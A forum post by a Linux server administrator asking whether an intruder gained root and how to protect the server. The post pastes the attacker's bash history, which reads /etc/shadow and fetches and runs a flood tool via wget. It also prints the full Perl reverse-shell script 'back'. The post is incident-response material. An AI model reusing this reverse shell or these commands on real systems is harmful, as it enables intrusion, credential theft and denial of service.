Linux: Possible root vulnerability, through url code injection

Hello, I've searched my question and I found something similar in the ID: 21727726. But I have an extra problem. The hacker didn't just copy the "back" file to the /tmp directory but also, I found in the /root/.bash_history the following set of commands that I didn't introduce in any terminal of my server:

ifconfig
ifconfig -all
ifconfig ?
ifconfig --help
man ifconfig
id
cd /etc
ls -la
cd yum
ls -la
cat /etc/shadow
wget http://ddmalfa.cz/_adm/dd
chmod 777 dd
./dd www.zone-h.org 53 127.0.0.66
./dd www.zone-h.org 53 127.0.0.66
./dd www.zone-h.org 53 127.0.0.66
./dd www.zone-h.org 53 127.0.0.66
./dd www.zone-h.org 53 127.0.0.66
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128
./dd zone-h.org 80 127.0.0.128

Apparently the hacker accessed my server as root (since it is the only way he could possibly ran the commands in a superuser terminal) and ran that set of commands, including the download of the dd script; I'm sure he didn't accessed by putting the correct password, because he didn't changed it and I've already search in the logs for ssh failures. I'm attaching the screenshot of the dd script code. If you need it I can send it to you.

We first noticed the attack because our site just became unreachable and even through the FW we didn't reach the servers. When I first accesed the server (fisically) I just saw the "dd" process running with the 100% of the CPU, so I proceeded to kill it. After that the server got normal and so the FW.

So my question:  
1.- Is he really accessed my server as root?
2.- If it is so,  what do I have to do to protect it?


Thank you in advance

"back" code:
 
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

Select allOpen in new window

DDOS.doc